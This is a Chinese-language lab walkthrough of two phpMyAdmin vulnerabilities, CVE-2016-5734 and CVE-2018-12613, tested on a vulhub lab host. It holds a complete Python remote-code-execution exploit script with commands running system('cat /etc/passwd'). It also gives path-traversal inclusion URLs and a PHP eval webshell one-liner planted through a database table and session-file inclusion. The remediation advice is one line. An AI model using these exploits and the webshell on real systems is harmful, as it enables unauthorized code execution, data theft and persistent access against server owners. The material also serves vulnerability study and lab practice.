Phpmyadmin
phpMyAdmin 是一個以PHP為基礎,以Web方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。
優勢:web端,便於遠端管理MySQL數據庫,方便的建立、修改、刪除數據庫及資料表。
phpmyadmin遠程代碼執行漏洞(CVE-2016-5734)
漏洞原理:
-
首先了解一下php中的preg_replace函數
#Php中的 preg_replace 函數 該函數是執行一個正則表達式並實現字符串的搜索與替換。 #例:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜索 subject 中匹配 pattern 的部分, 以 replacement 進行替換。 該函數的返回值:當$subject為一數組的情況下返回一個數組,其余情況返回字符串。 匹配成功則將替換后的subject被返回,不成功則返回沒有改變的subject,發生語法錯誤等,返回NULL。 參數說明: $pattern: 要搜索的模式,可以是字符串或一個字符串數組。反斜杠定界符盡量不要使用,而是使用 # 或者 ~ $replacement: 用於替換的字符串或字符串數組。 $subject: 要搜索替換的目標字符串或字符串數組。 $limit: 可選,對於每個模式用於每個 subject 字符串的最大可替換次數。默認是-1(無限制)。 $count: 可選,為替換執行的次數。
因為preg_replace函數中的$pattern部分指定的是要搜索的模式字符串,一般是正則表達式,而正則表達式中存在修正符。
但是其中一個修正符 “/e”;在替換字符串中對逆向引用作正常的替換,將其作為 PHP 代碼求值,並用其結果來替換所搜索的字符串。
可以看到,使用/e修正符的同時在 Subject 中成功匹配,replacement部分被當作php 代碼執行。
這個函數是CTF代碼審計中的常客;
影響版本:
phpmyadmin4.3.0-4.6.2
漏洞poc
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
操作環境:
kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2016-5734漏洞環境
攻擊機:物理機
操作
-
開啟相關漏洞環境(docker容器相關操作 不做贅述)
-
訪問漏洞端口,漏洞搭建成功會看到一下phpmyadmin登錄界面
-
攻擊機執行poc腳本,遠程代碼執行
phpmyadmin默認賬戶、密碼為:root、root
參數: #-c 指定PHP 代碼執行(這里未指定使用代碼中默認的system(‘uname -a’)) #-d 指定數據庫名 #-t 指定用戶所創建的表名(這里未指定使用代碼中默認的) 結果顯示:result的那一行
python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('id')"
python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('cat /etc/passwd')"
python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('uname -a')"
修復建議
及時更新版本,Php 5.0 版本以上的將 preg_replace 的 /e修飾符給廢棄掉了。
CVE-2018-12613 --- 本地文件包含漏洞(可導致遠程代碼執行)
漏洞原理:
-
當服務器開啟allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,造成文件被解析。此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。
-
在index.php第61行中,開啟了include選項
這里的
target
可以直接傳值輸入,我們可以傳入一個本地文件路徑去讓其包含,就會造成LFI漏洞。
影響版本:
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
POC
1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
2. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
漏洞環境:
kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2018-12613漏洞環境
攻擊機:物理機
操作:
驗證文件包含漏洞:
訪問poc,讀取了/etc/passwd文件內容,存在漏洞
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
利用session文件遠程代碼執行
-
開啟漏洞環境(vulhub漏洞靶場開啟,略)
-
訪問漏洞端口 192.168.73.131:8080
-
執行數據庫查詢語句,內容為php命令
SELECT '<?=phpinfo()?>';
其會在默認路勁tmp文件夾臨時生成session文件,名稱為sess_sessioin值。並且會將查詢語句寫入進去。
-
利用index頁面的文件包含,執行payload
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
利用數據庫寫入shell,利用文件包含執行shell
-
把WebShell當做數據表的字段值是可以完美的寫入到數據庫文件當中的,在test數據庫新建一個數據表,字段為一句話木馬。
<?php @eval($_GET['s']);?>
-
通過查詢語句,生成session文件進行文件包含解析shell
-
蟻劍連接shell,因為是靶場的緣故,數據為空。理論上真實環境應該可以,只是權限不高
修復建議
- 更新版本